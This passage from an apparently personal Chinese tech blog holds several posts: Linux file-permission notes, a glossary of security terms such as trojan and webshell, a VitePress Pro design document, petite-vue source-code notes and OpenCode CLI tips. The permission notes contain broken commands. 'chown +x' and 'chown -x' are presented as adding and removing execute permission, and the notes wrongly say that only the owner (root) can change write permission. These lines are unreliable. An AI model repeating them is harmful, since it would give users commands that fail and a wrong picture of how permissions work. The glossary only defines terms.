* `x` 表示可执行权限

***

* `d` 表示目录
* `l` 表示软连接
* `-` 表示普通文件
* `b` 表示块设备文件
* `c` 表示字符设备文件
* `s` 表示套接字文件
* `p` 表示命名管道文件

```bash
chmod 755 filename # 修改文件权限，755 表示所有者有读写执行权限，组用户和其他用户有读和执行权限
```

```bash
chown +x filename # 添加可执行权限
```

```bash
chown -x filename # 删除可执行权限
```

```bash
touch filename # 创建一个空文件
```

```bash
rm filename # 删除文件
```

```bash
rm -r dirname # 递归删除目录及其内容
```

```bash
mkdir dirname # 创建目录
```

***

```bash
   权限    链接数  所有者  所属组     文件大小      修改时间          文件名
drwxr-xr-x   3     root    root       4096     5月29日 18:11        boot
```

第一个字符表示文件类型，`d` 表示目录，`-` 表示普通文件，`l` 表示软连接文件。

接下来的九个字符表示文件的权限，分为三组，每组三个字符，分别表示所有者、所属组和其他用户的权限。

分别是 `rwx`, `r-x`, `r-x`，表示所有者有读、写、执行权限，所属组和其他用户有读、执行权限。

链接数表示有多少个硬链接指向该文件，硬链接是指多个文件名指向同一个文件内容，软连接是指一个文件名指向另一个文件名。

在修改读和执行权限时，chmod 命令执行后是对于所有用户生效的，但是修改写权限时，只有所有者（root）才能修改。

可以执行 `chmod 777 filename` 来给所有用户添加读、写、执行权限。

`777` 的含义是所有者、所属组和其他用户都有读、写、执行权限。

`7`     表示二进制的 `111`，即读、写、执行权限都打开。

`5` 表示二进制的 `101`，即读和执行权限打开，写权限关闭。

`4` 表示二进制的 `100`，即只有读权限打开，写和执行权限关闭。

**Linux 文件权限数字表示法**

文件权限分为 **读 (r)、写 (w)、执行 (x)**，分别对应二进制位：

* r = 4
* w = 2
* x = 1

三个权限位相加，就得到一个数字。

**755 具体含义**

`755` 分为三段：

```bash
[7] [5] [5]
 ^   ^   ^
 |   |   └─ 其他用户（others）
 |   └───── 所属组用户（group）
 └──────── 所有者（owner）
```

**7 = 4+2+1 = rwx**（所有者：读、写、执行全都有）

**5 = 4+0+1 = r-x**（组用户：只读 + 执行，没有写权限）

**5 = 4+0+1 = r-x**（其他用户：只读 + 执行，没有写权限）

比如：

```bash
-rwxr-xr-x  1 root root 12345 Oct  3  app
```

这就是一个 **755 的可执行文件**：

* 文件所有者 `root` 可以读、写、执行。
* 组用户只能读和执行。
* 其他用户也只能读和执行。

常见权限数字：

* `644` → 所有者可读写，其他人只能读（常见于配置文件）。
* `755` → 所有者可读写执行，其他人可读执行（常见于程序、脚本）。
* `777` → 所有人都可读写执行（几乎不用，太危险）。

---

---
url: /posts/2fv8y7d5/index.md
---
# 网络安全术语表
## 信息安全常见术语表

| 术语         | 描述                                                 |
| ------------ | ---------------------------------------------------- |
| **肉鸡**     | 被控制的电脑                                         |
| **木马**     | 伪装成正常程序，运行后可获取系统权限                 |
| **挂马**     | 将木马放入别人网站文件中，或将木马代码嵌入正常网页中 |
| **后门**     | 入侵者在目标系统中植入特定程序以便后续持续控制       |
| **弱口令**   | 类似 `admin/123456/root` 这样的简单密码              |
| **Shell**    | 获取系统权限的命令行界面或方式                       |
| **Webshell** | 一种以网页文件形式存在的远程命令执行环境             |
| **注入**     | 通常指数据库注入                                     |
| **内网**     | 局域网，例如公司内部网络                             |
| **免杀**     | 利用技术手段规避杀毒软件的查杀                       |
| **蜜罐**     | 故意制作一个含有漏洞的系统或网站来吸引黑客           |
| **DDOS**     | 拒绝服务攻击（分布式拒绝服务攻击）                   |
| **漏扫**     | 自动化漏洞扫描工具，如：`nessus`、`xray`、`AWVS`     |
| **0day**     | 尚未被公开的通用型漏洞                               |

---

---
url: /posts/2k69rl2b/index.md
---
# 📘 **VitePress Pro — 动态文档系统设计文档（v0.1）**

> **作者**：yumengjh
>
> 项目愿景：打造“动态、可扩展、可分片、可懒加载”的下一代文档系统。
>
> 基于 VitePress 的体验，但能力远超 VitePress。

***

# 项目愿景（Why）

传统 VitePress 有几个硬伤：

* ❌ **静态构建**：文档更新必须构建 → 大文档构建时间长
* ❌ **超大文档卡顿**：15k 字、30k 字的文档加载极慢
* ❌ **缺少后台系统**：无法在线管理文档
* ❌ **无法动态获取内容**（VitePress 本身是静态站点生成器）
* ❌ **无法跨端版本管理、多用户协作**

而且你希望：

* 做一个 **有挑战性的、长期迭代的、专业级文档系统框架**
* 让自己技术提升，并做成产品级工程

于是，VitePress Pro 的核心目标是：

> 用 VitePress 的体验，做一个 Notion / GitBook / Vercel Docs 级别的 **动态文档平台**。

***

# 总体能力目标

VitePress Pro = **动态渲染器 + 文档数据库 + 分片系统 + 懒加载引擎 + 搜索引擎 + 版本系统**

主要能力：

1. **Markdown 动态渲染（无需构建）**
2. **文档分片（标题 + 智能分片）**
3. **全文搜索（倒排索引）**
4. **语义搜索（向量搜索）**
5. **懒加载渲染（按可视区域加载）**
6. **文档版本控制（chunk diff）**
7. **文档后台系统（编辑、发布、管理）**
8. **前端渲染完全 VitePress 化（主题与布局可继承）**
9. **后端文档 API（动态模式）**
10. **多用户系统（可扩展）**

***

# 核心思想总结（最重要部分）

### ⭐ 核心概念：Chunk（分片）

所有文档都被拆成可管理的小块。

每个 chunk 是：

```
{
  id: string,
  docId: string,
  type: "heading" | "paragraph" | "code" | "table",
  order: number,
  content: markdown_substring,
  html: optional_cache,
  tokens: [...],
  embedding: optional_vector
}
```

这意味着：

* ✔ diff 更快速
* ✔ 懒加载可做
* ✔ 搜索更精准
* ✔ 更新更轻量
* ✔ 可并发加载

### ⭐ 渲染器动态化

原本的：

```
createMarkdownRenderer(root)
```

是用于构建阶段，但你希望：

* 在 **运行时** 调用它
* 根据请求实时渲染 Markdown → HTML
* 甚至可缓存到 Redis/DB

### ⭐ 文档以 Markdown 原文保存，不保存 HTML

好处：

* 体积小
* 修改更快
* 可以版本控制
* 可以直接导入/导出
* 可重复渲染多主题

***

# 架构设计

## **架构图（文本式）**

```
┌────────────────────────────┐
│        VitePress Pro       │
│      (前端渲染系统)        │
│   - 可视区域懒加载渲染       │
│   - 分片动态加载            │
│   - 主题：基于 VitePress    │
└──────────┬─────────────────┘
           ▼
┌────────────────────────────┐
│       Document API         │
│ - GET /doc/:id             │
│ - GET /doc/:id/chunks      │
│ - GET /chunk/:chunkId      │
│ - POST /doc                │
└──────────┬─────────────────┘
           ▼
┌────────────────────────────┐
│       文档管理后台           │
│ - 编辑器（在线 MD 编辑）     │
│ - 发布/预览/版本回退        │
│ - 搜索、分类                │
└──────────┬─────────────────┘
           ▼
┌────────────────────────────┐
│     文档存储数据库（DB）      │
│   Markdown 原文 + Chunk 表    │
│   索引表 + 版本表 + 用户表    │
└──────────┬─────────────────┘
           ▼
┌────────────────────────────┐
│   AI/搜索系统（可选）        │
│ - 向量搜索                  │
│ - 全文搜索                  │
└────────────────────────────┘
```

***

# 数据库设计（初版）

以 PostgreSQL 为例。

## **文档表**

```
documents
---------
id (pk)
title
createdAt
updatedAt
authorId
```

## **分片表（最核心）**

```
chunks
---------
id (pk)
docId (fk)
order (int)
type (enum)
markdown (text)
html (text, optional cache)
hash (text)
tokens (tsvector)      -- 用于全文搜索
embedding (vector)     -- 用于语义搜索（可选）
```

## **版本表**

```
versions
---------
id
docId
createdAt
changes: jsonb   -- {chunkId: {oldHash, newHash}}
```

***

# 文档分片设计（Chunking）

支持两种策略：

### **① 标题分片（结构化）**

根据：

```
# / ## / ###
```

切成层级结构。

用于：

* 目录
* 页面定位
* 层次化展示

### **② 智能分片（均匀）**

按：

* tokens 数量（200~500）
* 段落边界
* 句子边界

切分。

用于：

* 搜索
* 懒加载
* diff/版本

### ⭐ 推荐混合模式：

```
一级结构：按标题分片
标题内部：按智能分片
```

***

# 懒加载渲染（可视区域渲染）

前端使用：

```
IntersectionObserver
```

在 chunk 可见时加载并渲染。

伪代码：

```
<div v-for="chunk in chunks" v-intersect="load(chunk)">
  <ChunkRenderer :chunk="chunk" />
</div>
```

渲染流程：

```
1. 请求 chunk markdown
2. 调用 createMarkdownRenderer.render()
3. 生成 html
4. 挂载 Vue 组件
```

缓存策略：

* 内存缓存（tab 内）
* IndexedDB 缓存
* 服务端缓存（Redis）

***

# 版本控制设计（Diff）

采用 chunk diff。

流程：

```
旧文档分片 → 对比 hash → 找到变化的 chunk → 对变化部分执行文本 diff → 保存增量版本。
```

细粒度 diff 使用：

* diff-match-patch
* 或 jsdiff

这样你可以：

* 高效版本回退
* 快速找出改动点
* 不保存整个文档

***

# 搜索体系设计

支持两种搜索：

***

## **全文搜索（倒排索引）**

基于 PostgreSQL：

```
tsvector(chunk.markdown)
```

查询：

```
SELECT * FROM chunks WHERE tokens @@ plainto_tsquery('keyword')
```

优势：

* 高性能
* 支持高亮
* 原生

***

## **语义搜索（embedding）**

embedding vector 存入：

```
pgvector
```

查询：

```
SELECT * FROM chunks ORDER BY embedding <-> $query LIMIT 10;
```

用途：

* 智能推荐
* 内容关联
* 文档问答

***

# 后台管理系统（CMS）

支持功能：

* 文档列表
* 在线 Markdown 编辑器
* 草稿与发布
* 文档版本查看（diff 视图）
* 文档导入/导出
* 用户权限

技术栈：

* Vue3 + Vite + Naive UI（轻量）
* 你的 Mist.js 也可以内嵌作为一个子组件（非常酷）

***

# 动态渲染器（Runtime Renderer）

核心思想：

> 不用构建，直接用 Node 版 VitePress 渲染器在运行时渲染 MD。

依赖：

```
import { createMarkdownRenderer } from 'vitepress'
```

你需要：

* 把这套插件链迁移到运行时
* 移除只依赖构建时的逻辑
* 删除 Rollup-only 的代码
* 保留 Markdown → HTML → Vue SFC 的过程

你可以把整个渲染器封装成一个：

```
@vitepress-pro/renderer
```

***

# 技术挑战与解决建议

## **大文档滚动性能**

解决：

* chunk 级渲染
* 虚拟列表（Virtual Scroller）
* 预加载相邻 chunk

## **SSR？**

可选：

* 动态渲染 SSR（像 Nuxt 内容模块）
* 或纯 SPA（更轻）

## **SEO**

动态 HTML 可用：

* serverless SSR
* 或静态预渲染（只渲染第一页）

## **多主题切换**

每个 chunk 的 HTML 可反复解析 → 支持主题动态切换

***

# 项目路线图（Roadmap）

## **阶段 1：最小可用版（MVP）**

* 动态渲染器
* 文档 CRUD
* 文档分片（标题 + 智能）
* API 服务
* 前端渲染（无懒加载）

***

## **阶段 2：进阶功能**

* 懒加载渲染
* 缓存
* 搜索（倒排）
* Markdown 编辑器
* 版本控制（chunk diff）

***

## **阶段 3：高级功能**

* 语义搜索（向量）
* 多主题系统（多皮肤）
* 多用户权限
* 文档同步（Git-like）

***

## **阶段 4：产品化**

* 网站托管服务
* 插件系统（像 VitePress plugin）
* 模板系统
* AI 文档分析
* 文档生成 API（AI → Markdown）

***

# 未来想法（可成为项目支线）

* 智能文档分片算法（可成为独立库）
* 文档 diff 引擎（类似 git diff，但更轻）
* Markdown 渲染器模块化（一个纯运行时的 VitePress Renderer）
* 文档搜索引擎（可开放 API）
* 动态知识库（像 Notion 或 Obsidian）

***

# 总结：VitePress Pro 是一项“大工程”

它不是一个简单的项目，而是：

* 一个框架
* 一个 CMS
* 一个搜索引擎
* 一个动态渲染器
* 一个版本控制系统
* 一个专业级知识库平台

而这些能力，对你未来技术成长也有巨大推动。

***

* 完整数据库 schema（SQL）
* 完整 API 文档
* 分片算法的伪代码
* 动态渲染器的代码框架
* 管理后台的 UI 图
* 项目 Monorepo 结构

---

---
url: /posts/2zc9d71o/index.md
---
# Petite-vue源码
## reactive

用于创建响应式对象

```js
import { reactive } from '@vue/reactivity'

const state = reactive({
  count: 0,
  message: 'Hello',
  nested: {
    value: 'Nested value'
  }
})

// 响应式更新
state.count++ // 会自动触发依赖更新
state.message = 'Updated' // 同样会触发更新
state.nested.value = 'New nested value' // 深层属性也是响应式的
```

* 返回一个 Proxy 代理对象
* 支持深层响应式（嵌套对象也会被转换为响应式）
* 修改属性会自动触发依赖更新

## effect

用于响应式副作用

```js
import { effect as rawEffect, reactive } from '@vue/reactivity'	// 重命名导入

const state = reactive({ count: 0 })

// 创建一个 effect
const runner = rawEffect(() => {
  console.log(`Count is: ${state.count}`)
})

state.count++ // 控制台会输出 "Count is: 1"

// 停止 effect
runner.stop() // 之后 state.count 的变化不会再触发 effect
```

**高级用法**

```js
const runner = rawEffect(() => {
  console.log(state.count)
}, {
  // 调度函数，可以控制 effect 的执行时机
  scheduler(effect) {
    // 例如使用 requestAnimationFrame 来批处理更新
    requestAnimationFrame(effect)
  },
  // 延迟执行
  lazy: true
})

// 手动执行
runner()
```

**关于高级参数解析**：

```js
rawEffect(fn, {
  scheduler: () => queueJob(e)
})
```

`scheduler` 的作用

* **默认行为**：没有 scheduler 时，依赖变更会**立即执行** effect 函数
* **使用 scheduler 后**：依赖变更时，会执行 scheduler 而不是直接执行 effect
* **控制权转移**：将 effect 的执行时机交给开发者控制

参数详解：

| 参数                | 类型                               | 作用                               |
| ------------------- | ---------------------------------- | ---------------------------------- |
| `fn`                | `() => T`                          | 要执行的副作用函数                 |
| `options.scheduler` | `(effect: ReactiveEffect) => void` | 调度函数，决定如何/何时执行 effect |

关于`queueJob`通过 `Promise.resolve()` 确保在下一个微任务执行

`if (!queue.includes(job)) queue.push(job)`去重机制

```
状态变更 → scheduler 调用 → queueJob → 微任务队列 → flushJobs
```

**示例**：

```js
const state = reactive({ count: 0 })

const e = rawEffect(() => {
  console.log('Running effect:', state.count)
}, {
  scheduler: () => queueJob(e)	// 引用赋值（触发时e才有值）
})

state.count++  // 修改1
state.count++  // 修改2
```

**执行时序：**

1. **同步阶段**：

   * 两次 `state.count++` 触发 setter
   * 每次 setter 调用 scheduler → `queueJob(e)`
   * 由于去重机制，`e` 只会被添加一次到队列

2. **微任务阶段**：

   ```js
   nextTick(flushJobs) → 执行队列中的所有 job
   ```

   * 实际执行的是 `e()` (即原始 effect 函数)
   * 最终只输出一次：`"Running effect: 2"`

## ReactiveEffectRunner

副作用运行器

这是 `effect` 函数的返回类型，表示一个可控制的副作用运行实例。

```js
interface ReactiveEffectRunner<T = any> {
  (): T
  effect: ReactiveEffect
  stop: () => void
}
```

```js
const runner = rawEffect(() => {
  // 副作用逻辑
})

// 1. 可以像函数一样调用
runner()

// 2. 可以停止响应式追踪
runner.stop()

// 3. 可以访问底层 effect 实例
console.log(runner.effect)
```

## 追踪依赖

当你用 `reactive()` 创建一个响应式对象时，Vue 实际上创建了一个 Proxy 代理对象，这个代理会拦截所有属性访问(get)和修改(set)操作

effect 执行时的依赖收集：

```js
const runner = rawEffect(() => {
  console.log(`Count is: ${state.count}`)
  //         ^ 这里访问了 state.count
})
```

当 effect 函数首次执行时，每次访问响应式属性(如 `state.count`)，都会触发 getter，getter 会检查当前是否有活跃的 effect (即正在执行的 effect)，如果有，就会把这个 effect 记录为该属性的依赖

```json
{
  target: { count: 0 },  // 原始对象
  key: 'count',         // 属性名
  dep: [effect1, effect2] // 依赖这个属性的所有 effect
}
```

**触发**：

```js
state.count++ // 触发 setter
```

修改属性值时，会触发 setter，setter 会查找这个属性对应的所有 effect，重新执行这些 effect

**动态依赖**：每次 effect 执行都会重新收集依赖，所以分支代码也能正常工作

```js
rawEffect(() => {
  if (state.condition) {
    console.log(state.a) // 只有 condition 为 true 时才依赖 a
  } else {
    console.log(state.b) // 否则依赖 b
  }
})
```

**推荐做法**：

每个逻辑关注点应该有自己独立的 effect，而不是把所有副作用写在一个大 effect 中

```js
// 好的做法 - 分离关注点
const countLogger = rawEffect(() => {
  console.log('Count:', state.count)
})

const userLogger = rawEffect(() => {
  console.log('User:', state.user)
})

// 不好的做法 - 所有副作用混在一起
const megaEffect = rawEffect(() => {
  console.log('Count:', state.count)
  console.log('User:', state.user)
  // 其他不相关的逻辑...
})
```

## createScopedContext

用于创建**作用域上下文**的核心函数，组件作用域继承机制

创建一个新的上下文环境，该环境：

* **继承父作用域**：可以访问父上下文的所有属性
* **拥有本地数据**：可以添加新的响应式属性
* **智能属性分配**：自动判断属性应该存在父级还是当前作用域

```javascript
const parent = createContext({ count: 1 })
const child = createScopedContext(parent, { message: 'hello' })

// child 可以访问 parent.count
// 新增属性会根据规则自动确定存放位置
```

**原型链继承**

```javascript
const parentScope = ctx.scope
const mergedScope = Object.create(parentScope) // 原型链继承
```

* 使用 `Object.create` 建立原型链，新作用域 `__proto__` 指向父作用域
* 实现属性查找的向上委托（类似 JavaScript 的原型链查找）

**本地属性合并**

```javascript
Object.defineProperties(mergedScope, Object.getOwnPropertyDescriptors(data))
```

* 将传入的 `data` 对象的所有属性（包括 getter/setter）复制到新作用域
* 保持属性描述符（如 `configurable`, `enumerable` 等）不变

**特殊属性处理**

```javascript
mergedScope.$refs = Object.create(parentScope.$refs)
```

* 单独处理 `$refs` 属性，确保每个作用域有独立的 refs 存储
* 仍然保持原型链继承关系

**响应式代理**

```javascript
const reactiveProxy = reactive(
  new Proxy(mergedScope, {
    set(target, key, val, receiver) {
      if (receiver === reactiveProxy && !target.hasOwnProperty(key)) {
        return Reflect.set(parentScope, key, val)
      }
      return Reflect.set(target, key, val, receiver)
    }
  })
)
```

**关键点**：

* 双层代理：外层的 `reactive()` 处理响应式，内层的 `Proxy` 处理作用域逻辑
* 智能属性设置规则：
  * 当设置的属性**不存在于当前作用域**时，写入父作用域
  * 通过 `receiver === reactiveProxy` 确保是直接操作当前代理对象
  * 通过 `target.hasOwnProperty(key)` 检查属性归属

**方法绑定**

```javascript
bindContextMethods(reactiveProxy)
```

确保作用域中的方法具有正确的 `this` 上下文

**返回新上下文**

```javascript
return {
  ...ctx,          // 复制原有上下文配置
  scope: reactiveProxy // 替换为新的作用域
}
```

![image-20250527182842769](https://pimg.yumgjs.com/2025-05-27%2F182847.png)

**属性访问规则**

| 操作类型             | 处理方式       |
| :------------------- | :------------- |
| 读取已有属性         | 沿原型链查找   |
| 设置已有属性         | 修改所属作用域 |
| 设置新属性           | 写入当前作用域 |
| 设置继承属性(非自有) | 写入父作用域   |

**性能优化**

* 使用 `Object.getOwnPropertyDescriptors` 一次性复制所有属性
* 通过 `hasOwnProperty` 快速判断属性归属
* 响应式系统只在最外层包装一次

## bindContextMethods

这个函数的作用是确保作用域(scope)中所有方法的 `this` 指向正确。

一句话就是：绑定之后能够确保方法被赋值后其中的`this`依然指向其原始的作用域，而不是被赋值后所在的作用域。

不绑定`this`的情况：

```javascript
const scope = {
  name: 'JSS',
  greet() {
    console.log(`Hello from ${this.name}`)
  }
}

const greetFn = scope.greet
greetFn() // 输出: "Hello from undefined" (this指向全局或undefined)
```

绑定后：

```javascript
bindContextMethods(scope)
const greetFn = scope.greet
greetFn() // 输出: "Hello from JSS" (this正确指向scope)
```

`this` 的默认指向规则：

| 调用方式     | `this` 指向        | 示例                          |
| :----------- | :----------------- | :---------------------------- |
| 直接方法调用 | 所属对象           | `obj.method()`                |
| 函数引用调用 | 全局对象/undefined | `const fn = obj.method; fn()` |
| 作为回调传递 | 取决于调用方       | `setTimeout(obj.method, 100)` |
| 构造函数调用 | 新创建的对象       | `new Constructor()`           |

在Petite-vue中的场景：

```html
<button @click="increment">Count: {{ count }}</button>
```

* 当点击事件发生时，`increment` 方法会被作为回调调用
* 没有绑定则 `this` 会丢失原始上下文

```javascript
const runner = effect(() => {
  console.log(this.count)
})
```

上述代码中的this需要**始终**指向scope

**实现原理分析**

```javascript
scope[key] = scope[key].bind(scope)
```

* 创建一个新函数，其 `this` 永久绑定到 `scope`
* 保证无论以何种方式调用，`this` 始终一致

## with语句

在`toFunction`函数中使用到了with相关语法，回顾一下相关知识

with 语句会将指定对象添加到作用域链的前端，这样在 with 块内部可以直接访问该对象的属性，而不需要使用对象名前缀。

* with($data) 将 $data 对象的所有属性提升到当前作用域

* 在 with 块内部，可以直接使用 $data 的属性名，而不需要 $data. 前缀

```javascript
// 数据对象
const data = {
    name: '张三',
    age: 25,
    message: 'Hello World'
}

// 生成的函数示例
function anonymous($data, $el) {
    with($data) {
        return name;  // 等价于 $data.name
    }
}

function anonymous($data, $el) {
    with($data) {
        return age + 1;  // 等价于 $data.age + 1
    }
}

function anonymous($data, $el) {
    with($data) {
        return message.toUpperCase();  // 等价于 $data.message.toUpperCase()
    }
}
```

## evaluate

传入**数据对象，表达式，元素**，返回**表达式计算后的值**

```javascript
scope: Proxy(Object) {$delimiters: Array(2), str: 'hello world', message: 'hello world'...}

exp: return("局部状态："+$s( str ))
                      
el：#text	// 文本节点
                      
result：局部状态：hello world
```

**toFunction**函数，上述代码的返回值

```javascript
fn ƒ anonymous($data,$el
) {
with($data){return("局部状态："+$s( str ))}
}
```

通过执行这个函数将数据进行替换后返回

原本的函数中，`el`值并没有用到，后续我进行扩展后：

```javascript
const toFunction = (exp: string): Function => {
    try {
        return new Function(`$data`, `$el`, `with($data){${exp}}`)	// [!code --]
        // [!code ++]
        return new Function(`$data`, `$el`, `
    // [!code ++]
      with($data){
      // [!code ++]
        const el = $el;
        // [!code ++]
        ${exp}
        // [!code ++]
      }
      // [!code ++]
    `)
    } catch (e) {
        console.error(`表达式 ${exp} 中出错：${(e as Error).message}`)
        return () => {}
    }
}
```

可以在表达式中使用

**访问元素属性：**

```html
<div v-text="el.tagName">元素标签名</div>
<div v-text="el.id">元素ID</div>
<div v-text="el.className">元素类名</div>
```

**操作元素样式：**

```html
<button @click="el.style.color = 'red'">变红</button>
<button @click="el.classList.add('active')">添加类</button>
```

**访问元素数据**：

```html
<div v-text="el.dataset.message">数据属性</div>
```

**DOM 操作：**

```html
<button @click="el.parentNode.removeChild(el)">删除自己</button>
<button @click="el.innerHTML = '已更新'">更新内容</button>
```

**事件处理：**

```html
<button @click="el.dispatchEvent(new Event('custom'))">触发自定义事件</button>
```

**其他操作**

...

## ref

在**ref**指令中**prevRef**变量的作用是跟踪上一次的引用名称，主要用于处理引用名称变化的情况。

```javascript
if (prevRef && ref !== prevRef) {
    delete $refs[prevRef]
}
```

当元素的 ref 属性值发生变化时，需要删除旧的引用，避免内存泄漏，例如：从 ref="counter1" 变成 ref="counter2"

清理工作：

```javascript
return () => {
    prevRef && delete $refs[prevRef]
}
```

上述**清理函数**会被 petite-vue 的响应式系统**自动调用**

* 当 v-scope 指令被移除时

* 当元素从 DOM 中移除时

* 当组件被销毁时

```html
<div v-if="show" ref="myRef">
    <!-- 当 show 变为 false 时，这个 div 会被移除 -->
    <!-- 此时清理函数会自动触发 -->
</div>
```

**关于为什么是自动的：**

* 这是 petite-vue 的响应式系统的一部分

* 指令的清理函数会被注册到响应式系统中

* 当相关元素或组件被销毁时，系统会自动调用这些清理函数

\*\*总结：\*\*不需要手动调用这个清理函数，它是由 petite-vue 的响应式系统自动管理的。这种机制确保了资源的正确清理，防止内存泄漏。

```html
<!-- 初始状态 -->
<div ref="counter1">...</div>

<!-- 动态改变 ref -->
<div :ref="dynamicRef">...</div>
```

* 当 dynamicRef 的值从 "counter1" 变为 "counter2" 时

* prevRef 会记录 "counter1"

* 然后从 $refs 中删除旧的引用

**主要是：**

* 防止引用堆积

* 确保 $refs 对象中只包含当前有效的引用

* 避免内存泄漏

## processDirective

**关于replace** ：

```js
string.replace(正则表达式, 替换函数)
```

**替换函数的参数**：

```js
(完整匹配, 第一个捕获组, 第二个捕获组, ...) => {
    // 返回要替换成的内容
}
```

* 第一个参数 \_：完整匹配的字符串（这里用 \_ 表示不使用这个参数）

* 第二个参数 m：第一个捕获组的内容（这里是想要的修饰符名称）

为什么用 `_`：

* `_` 是一个常见的约定，表示"这个参数我们不会使用"

* 因为我们需要的是捕获组 m，而不是完整匹配

```js
// 例如对于 v-on:click.prevent
raw.replace(modifierRE, (_, m) => {
    // _ 是完整匹配，m 是捕获组（修饰符名称）
    // 如果 modifiers 不存在，则初始化为空对象
    (modifiers || (modifiers = {}))[m] = true
    // 返回空字符串，相当于删除这个修饰符
    return ''
})
```

例子：

```html
<!-- 原始指令 -->
v-on:click.prevent.stop

<!-- 处理后 -->
// raw 变成 "v-on:click"
// modifiers 变成 { prevent: true, stop: true }
```

总结：

* 找到指令中的修饰符（如 .prevent）
* 提取修饰符名称（如 prevent）
* 将这个修饰符标记为 true
* 从原始字符串中删除这个修饰符（替换为空）

## shared

| 函数名           | 作用                                                   | 示例                                                 |
| :--------------- | :----------------------------------------------------- | :--------------------------------------------------- |
| `normalizeClass` | 规范化 class 绑定（支持字符串/数组/对象格式 → 字符串） | `normalizeClass(['a', { b: true })` → `"a b"`        |
| `normalizeStyle` | 规范化 style 绑定（支持字符串/对象格式 → 字符串）      | `normalizeStyle({ color: 'red' })` → `"color: red;"` |
| `isString`       | 判断是否为字符串                                       | `isString('vue')` → `true`                           |
| `isArray`        | 判断是否为数组                                         | `isArray([1,2])` → `true`                            |
| `hyphenate`      | 驼峰转连字符（常用于 DOM 属性处理）                    | `hyphenate('fontSize')` → `"font-size"`              |
| `camelize`       | 连字符转驼峰（常用于 JS 属性访问）                     | `camelize('data-value')` → `"dataValue"`             |

**片段解析**

```js
 if (arg === 'class') {
    el._class = el.className
  }
```

保存原始className到`el._class`，**实现静态class与动态class的合并**

**setProp**

```js
el.setAttribute(
    'class',
    normalizeClass(el._class ? [el._class, value] : value) || ''
)
```

* 当`el._class`存在（即有静态class）时，将静态class和动态value合并为数组
* 否则直接使用动态value
* 通过`normalizeClass`统一处理各种格式（字符串/数组/对象）

## 短路逻辑

短路逻辑： `A && B` 的执行逻辑是：

如果 `A` 是 false（例如 `null`、`undefined`、`0`、`false`、`''` 等），**整个表达式返回 A**，不会执行 `B`；

如果 `A` 是 true，**才会继续执行 B** 并返回 B 的结果。

## 参数列表

| 字段           | 类型       | 说明                                                         |
| -------------- | ---------- | ------------------------------------------------------------ |
| `delimiters`   | `Array`    | 用于模板语法的定界符，默认值为 `['{{', '}}']`，表示模板的起始和结束标记。 |
| `delimitersRE` | `RegExp`   | 正则表达式，用于匹配模板语法的内容。默认值为 `/\{\{([^]+?)\}\}/g`。 |
| `scope`        | `Object`   | 当前的作用域对象，存储数据，使用 `reactive({})` 创建。如果存在 `parent`，则继承自 `parent.scope`。 |
| `dirs`         | `Object`   | 存储指令相关的配置或处理逻辑。继承自 `parent.dirs`（如果 `parent` 存在）。 |
| `effects`      | `Array`    | 存储副作用函数（`ReactiveEffectRunner`），用于追踪响应式更新。 |
| `blocks`       | `Array`    | 存储模板中的代码块，用于处理模板的结构或内容。               |
| `cleanups`     | `Array`    | 存储清理函数，用于在生命周期结束时清理资源。                 |
| `effect`       | `Function` | 注册副作用函数。如果 `inOnce` 为真，则立即将函数加入队列；否则，创建一个 `ReactiveEffectRunner` 实例，并将其推入 `effects` 数组。 |

## 局部上下文分析

```js
  const reactiveProxy = reactive(
    new Proxy(mergedScope, {
      set(target, key, val, receiver) {
        // 当设置一个在当前作用域中不存在的属性时，
        // 不要在当前作用域中创建它，而是回退到父作用域。
        if (receiver === reactiveProxy && !Object.prototype.hasOwnProperty.call(target, key)) {
          return Reflect.set(parentScope, key, val)
        }
        return Reflect.set(target, key, val, receiver)
      }
    })
  )
```

```js
if (receiver === reactiveProxy && !Object.prototype.hasOwnProperty.call(target, key))
```

`receiver === reactiveProxy`：确保 `set` 操作是通过代理对象 `reactiveProxy` 触发的，而不是直接在目标对象 `target` 上触发的，比如`Reflect.set(target, 'name', 'Doe') `，主要为了防止一些边缘情况。

\~~`!Object.prototype.hasOwnProperty.call(target, key)`：检查目标对象 `target` 是否自身拥有该属性。使用 `Object.prototype.hasOwnProperty.call(target, key)` 可以避免因 `target` 是响应式对象而触发代理拦截器，导致无限递归调用。~~

\~~**避免无限递归的真正原因**：使用 `Object.prototype.hasOwnProperty.call()` 避免递归是因为它不依赖目标对象的方法，它直接使用 `Object.prototype` 上的原始方法~~

写成`!Object.prototype.hasOwnProperty.call(target, key)`还有个好处是防止用户自定义的属性覆盖了原型链上的 `hasOwnProperty` 方法，或者边缘情况该对象根本就没有继承 `Object.prototype`，使用`call`能确保使用原生的 `hasOwnProperty` 方法来检查属性是否存在。

```js
const obj1 = Object.create(null)   // 创建一个没有原型的对象 它的 hasOwnProperty 方法是不存在的
const obj2 = {
  hasOwnProperty: () => false, // 自定义的 hasOwnProperty 方法，调用它总是返回 false
};
```

> \[!tip]
>
> \~~`!target.hasOwnProperty(key)`用来判断属性是否存在于当前作用域，当`target` 是一个响应式对象时，`hasOwnProperty` 方法可能会触发响应式代理的拦截器，从而导致无限递归调用，最终栈溢出。~~
>
> \~~`Object.prototype.hasOwnProperty.call(target, key)`可以绕过响应式代理的拦截器~~

**回退机制**：

```js
return Reflect.set(parentScope, key, val);
```

如果满足上述条件，说明要设置的属性在当前作用域中不存在，此时将属性设置操作回退到父作用域 `parentScope` 中执行。`Reflect.set` 是一个内置方法，用于设置对象的属性值，并返回一个布尔值表示操作是否成功。

```js
return Reflect.set(target, key, val, receiver);
```

如果不满足上述条件，说明要设置的属性在当前作用域中存在，**或者 `set` 操作不是通过代理对象触发的，此时直接在当前作用域的目标对象 `target` 上设置属性值**。

## IIFE

```js
const serverDiv = document.createElement('div');
serverDiv.id = 'server';
serverDiv.innerHTML = '{{ title }}';
document.body.appendChild(serverDiv);
Mist.createApp({
    title: 'Hello World'
}).mount("#server")
```

---

---
url: /posts/3n2tahkj/index.md
---
# OpenCode 笔记
[官方文档](https://opencode.ai/) |  [中文文档](https://www.opencodecn.com/)

```bash
npm install opencode-ai -g
```

[接口AI（接口中转）](https://jiekou.ai/)

***

`/compact` 用于压缩之前对话的上下文，把之前的对话提炼为一个简洁的摘要，释放模型的上下文窗口

除了内置的 `/` 命令，还可以自定义命令，在配置文件夹中创建一个`command` 文件夹，在其中以 md 文件的形式定义自己的命令，元字段查看官方

在配置文件夹中，创建一个 `agent` 文件夹，用于自定义智能体，在其中创建相关的 md 文件

`mode` 字段可以是 `subagent` ，表示它由主智能体来自动调度，在后台运行

还可以是 `primary` ，也就是主智能体，可以直接 `tap` 按键显式的切换智能体

***

